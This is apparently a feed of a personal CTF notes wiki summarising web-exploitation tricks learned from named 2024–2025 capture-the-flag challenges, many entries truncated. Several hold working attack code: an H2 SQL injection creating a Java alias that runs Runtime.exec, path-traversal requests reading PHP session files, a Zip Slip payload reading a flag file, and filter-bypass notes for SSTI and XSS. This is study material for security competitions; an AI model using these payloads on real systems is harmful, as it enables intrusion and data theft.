osorin's abyss

csp-bypass-custom-404

Anonymous (anonymous@undisclosed.example.com) — 2024-11-01T09:07:49+00:00

Bypass CSP when a custom 404 page is present With: resp.headers['Content-Security-Policy'] = "script-src 'self'; And a custom 404 page like: @app.errorhandler(404) def page_not_found(error): path = request.path return f"{path} not found"

data-xss

Anonymous (anonymous@undisclosed.example.com) — 2024-11-01T09:07:24+00:00

data URI scheme (+ XSS) Lessons learned from Google Capture The Flag 2024: [WEB] sappy On challenges where we need XSS and for example host is checked, we can do the following using data url schema: let url = new URL("data://osorin.net/,"); fetch(url) .then(response => response.text()) .then((response) => { console.log(response) }) .catch(err => console.log(err)); console.log(url.host);

dns-rebinding

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T13:45:42+00:00

On DNS Rebinding Clean enough Write-ups for DNS Rebinding. Useful tool/service:

easy-bash-jail

Anonymous (anonymous@undisclosed.example.com) — 2024-09-01T19:43:19+00:00

Easy bash jail with strict restrictions #!/usr/local/bin/python3 -u import subprocess import re def restrict_input(command): pattern = re.compile(r'[a-zA-Z*^\,,;\\!@/#?%`"\'&()-+]|[^\x00-\x7F]') if pattern.search(command): raise ValueError("that's not nice!") return command def execute_command(command): safe = restrict_input(command) result = subprocess.run(safe, stdout=True, shell=True) return result.stdout print("Welcome to Baby PyBash!\n") cmd = input("…

express-query-param

Anonymous (anonymous@undisclosed.example.com) — 2024-11-01T09:07:05+00:00

Express req.query Notes Notes from HeroCTF 2024 SampleHub [WEB]. Given this code snippet: process.chdir(path.join(__dirname, "samples")); app.get("/download/:file", (req, res) => { const file = path.basename(req.params.file); console.log(typeof req.query.filename); res.download(file, req.query.filename || "sample.png", (err) => { if (err) { res.status(404).send(`File "${file}" not found`); } }); });

html-parsing-differential

Anonymous (anonymous@undisclosed.example.com) — 2024-10-07T19:37:53+00:00

HTML Encoding Differentials Lessons learned from SEKAI CTF 2024: [WEB] htmlsandbox We want to create a parsing differential when the HTML is loaded incrementally (streamed) vs loaded inline (all at once) The CSP tag should be present in the parsed

http-pipelining

Anonymous (anonymous@undisclosed.example.com) — 2025-02-09T23:04:12+00:00

HTTP Pipelining + HTTP/2 Single Packets Lessons learned from LACTF 2025: [WEB] whats-my-number TL;DR: Get enough Math.random values to crack with randcrack (V8). In order to “race” (not really) and get consecutive values, you must send your requests with http pipelining or http/2 single packets.

java-h2-sqli-rce

Anonymous (anonymous@undisclosed.example.com) — 2024-12-02T22:30:51+00:00

H2 SQL injection to RCE http://localhost:1338/api/note?name=aa'; CREATE ALIAS BOBOB AS 'String e(String cmd) throws java.io.IOException{ try { java.lang.Runtime rt = java.lang.Runtime.getRuntime(); java.lang.Process proc = rt.exec(cmd); java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream())); String line; StringBuilder output = new StringBuilder(); while ((line = reader.readLine…

jinja-ssti

Anonymous (anonymous@undisclosed.example.com) — 2024-08-23T02:10:09+00:00

When stuck on jinja/flask SSTI Magic tool: Sample filter bypassed: invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\"]

js-with-strict-waf

Anonymous (anonymous@undisclosed.example.com) — 2024-10-16T00:59:44+00:00

TCP1P Multiplication Lessons learned from TCP1P CTF 2024: Multiplication [WEB] ', '`', '~', '(' , ')', ',', '+', '-', '/', '*', '%', '^', '|', '&', '!', '?', ':', ';', '.'); foreach ($forbiddenChars as $char) { if (strpos($digit, $char) !== false) { http_response…

lfi-proc

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T14:00:34+00:00

LFI using proc. Random fact learned from DownUnder CTF 2024: [WEB] hah got em LFI is possible from context: /proc/self/root file:///proc/7/root/etc/flag.txt

localhost-only-bypass

Anonymous (anonymous@undisclosed.example.com) — 2024-10-07T19:52:38+00:00

Headers for localhost bypass Headers worth trying for (probably) unintended bypasses:

parse-int

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T13:45:20+00:00

parseInt() in JS Reminder for parseInt() function behavior. parseInt('7/../../something') Results in: 7

php-mime-spoofing

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T13:55:57+00:00

Mime Spoofing + php Lessons learned from DownUnder CTF 2024: [WEB] sniffy import requests cookies = { 'PHPSESSID': 'abcd' } for i in range(4): r = requests.get('http://localhost:8080/', params={'theme': 'a' * i + 'M.K.' * 300}, cookies=cookies) r = requests.get('http://localhost:8080/audio.php', params={'f': '../../../../tmp/sess_abcd'}) if r.status_code != 403: print('found') print(r.text)

pydantic-jinja-ssti

Anonymous (anonymous@undisclosed.example.com) — 2024-12-09T22:03:00+00:00

Pydantic email validator + jinja ssti class EmailModel(BaseModel): email: EmailStr @app.route('/render', methods=['POST']) def render_email(): email = request.form.get('email') try: email_obj = EmailModel(email=email) return Template(email_template%(email)).render() except ValidationError as e: return render_template('mail.html', error="Invalid email format.")

python-format-string

Anonymous (anonymous@undisclosed.example.com) — 2024-10-07T20:57:31+00:00

Python format string CONFIG = { 'SECRET_KEY': 'super secret key' } class Event(object): def __init__(self, id, level, message): self.id = id self.level = level self.message = message def format_event(format_string, event): return format_string.format(event=event)

sidebar

Anonymous (anonymous@undisclosed.example.com) — 2024-11-14T17:17:23+00:00

CTF notes: * Bypass CSP when a custom 404 page is present * data URI scheme (+ XSS) * Easy bash jail with strict restrictions * Express req.query Notes * H2 SQL injection to RCE * Headers for localhost bypass * HTML Encoding Differentials * HTTP Pipelining + HTTP/2 Single Packets * LFI using proc. * Mime Spoofing + php * On DNS Rebinding * parseInt() in JS * Pydantic email validator + jinja ssti * Python format string * SNI Spoofing * SQLi No Commas * TCP1P Multiplication * Wh…

sni-spoof

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T13:44:24+00:00

SNI Spoofing Lessons learned from CTFZone CTF 2024: [WEB] youtube-unlock SNI, or Server Name Indication, is an addition to the TLS encryption protocol that enables a client device to specify the domain name it is trying to reach in the first step of the TLS handshake, preventing common name mismatch errors.

sqli-no-commas

Anonymous (anonymous@undisclosed.example.com) — 2025-02-09T23:20:39+00:00

SQLi No Commas Lessons learned from nullconctf 2025: [WEB] paginator v2 Basically sqli without commas:

start

Anonymous (anonymous@undisclosed.example.com) — 2024-11-18T16:23:35+00:00

Wiki under development (possibly forever? :-?)

unsolved

Anonymous (anonymous@undisclosed.example.com) — 2024-08-21T13:32:37+00:00

Zip Slip + Absolute Paths Lessons learned from TheHackersCrew CTF 2024: [WEB] niceview1 * Zip Slip is possible with absolute paths (challenge filtered double dots). payload = f""" <%inc #include "{rs}_util.json" %> {{% goflag() %}} """ payload2 = """ #include std::string goflag() { std::ifstream fin("/app/flag.txt"); std::string line; std::getline(fin, line); return line; } """ zf = io.BytesIO() with zipfile.ZipFile(zf, 'w') as myzip: myzip.writestr(f'/app…

xss-payloads

Anonymous (anonymous@undisclosed.example.com) — 2025-02-20T01:10:26+00:00

XSS Payloads LACTF Some payloads from LACTF 2025: [WEB] purell